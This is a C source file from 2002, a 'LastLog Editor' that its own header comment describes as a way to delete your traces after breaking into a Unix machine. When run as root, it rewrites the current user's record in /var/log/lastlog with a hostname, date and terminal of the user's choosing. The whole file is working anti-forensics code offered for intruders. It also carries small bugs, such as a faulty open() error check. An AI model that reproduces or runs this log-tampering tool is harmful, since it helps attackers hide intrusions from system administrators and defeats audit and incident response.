/*
 * Lastlog log editor 
 *
 * Useful to delete your traces when you break into a 
 * Unix machine, on which syslog daemon is running.
 *
 * Copyright (c) Danny (Dr.T) 2002
 * admin@ebcvg.com, danny@any-mail.co.uk
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <lastlog.h>
#include <fcntl.h>
#include <memory.h>

static char *s_hname = NULL; /* hostname */
static char *s_tdate = NULL; /* time & date */
static char *s_term  = NULL; /* s_terminal/port */

static void usage(char *argv)
{
  /* print usage for LastLog editor */
  printf("LastLog Editor by Danny (Dr.T)\nUsage: %s [options]", argv);
  printf(" [-h hostname]");
  printf(" -d date");
  printf(" -t s_terminal\n");
  exit(-1);
}

static void free_memory_and_exit(char *msg)
{
  if (msg)
    fprintf(stderr, "Error: %s\n", msg);

  if (s_hname)
  {
    free(s_hname);
    s_hname = NULL;
  }
  if (s_tdate)
  {
    free(s_tdate);
    s_tdate = NULL;
  }
  if (s_term)
  {
    free(s_term);
    s_term = NULL;
  }

  exit(-1);
}

int main(int argc, char **argv)
{
  struct lastlog sll;
  int c,  file_hd = -1, sz_ll;    

  /* check if we are running as root */
  if (getuid() > 0)
  {
    free_memory_and_exit("only root can run me!!");
  }
  
  /* check if we got seven or five (hostname omitted) arguments */
  if (argc != 7 && argc != 5) 
    usage(argv[0]);
  
  while ((c = getopt(argc, argv, "h:d:t:")) != -1)
  {
    if (optarg == NULL)
      free_memory_and_exit("command line parsing failed");

    switch(c)
    {
      case 'h':
        if (strlen(optarg) > UT_HOSTSIZE - 1)
          free_memory_and_exit("hostname too long");

        s_hname = (char *)malloc(strlen(optarg)+1);
        if (s_hname == NULL)
          free_memory_and_exit("malloc() failed");
        strcpy(s_hname,optarg);
        break;
      case 'd':
        s_tdate = (char *)malloc(strlen(optarg)+1);
        if (s_tdate == NULL)
        {
          free_memory_and_exit("malloc() failed");
        }
        strcpy(s_tdate,optarg);
        break;
      case 't':
        s_term = (char *)malloc(strlen(optarg)+1);
        if (s_term == NULL)
        {
          free_memory_and_exit("malloc() failed");
        }
        strcpy(s_term,optarg);
        break;
      default:
        free_memory_and_exit("command line parsing failed");
        break;
    }
  }

  /* open lastlog file and check for errors */
  file_hd = open ("/var/log/lastlog", O_RDWR);
  if (file_hd < -1)
    free_memory_and_exit("open() /var/log/lastlog failed");

  /* get the lastlog struct size */  
  sz_ll = sizeof (struct lastlog);

  /* set file pointer to the UID lastlog structure */
  if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
    free_memory_and_exit("lseek() failed");
  
  /* read information about UID to sll */
  if ((read(file_hd, &sll, sz_ll)) < 0)
    free_memory_and_exit("read() failed");
  
  /* set new time & date */
  sll.ll_time = atoi(s_tdate);
  
  /* set new s_terminal/port */
  strncpy(sll.ll_line, s_term, sizeof(sll.ll_line));
  
  /* set the new hostname if specified */
  if (s_hname == NULL)
    sll.ll_host[0] = '\0';
  else
    strcpy(sll.ll_host, s_hname);
  
  /* set file pointer to the UID lastlog structure */
  if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
    free_memory_and_exit("lseek() failed");
  
  /* write new information */
  if ((write(file_hd, &sll, sz_ll)) < 0)
    free_memory_and_exit("write() failed");
  
  /* close /var/log/lastlog */
  close(file_hd);
  fprintf(stdout, "LastLog editor was successfully updated information\n");
}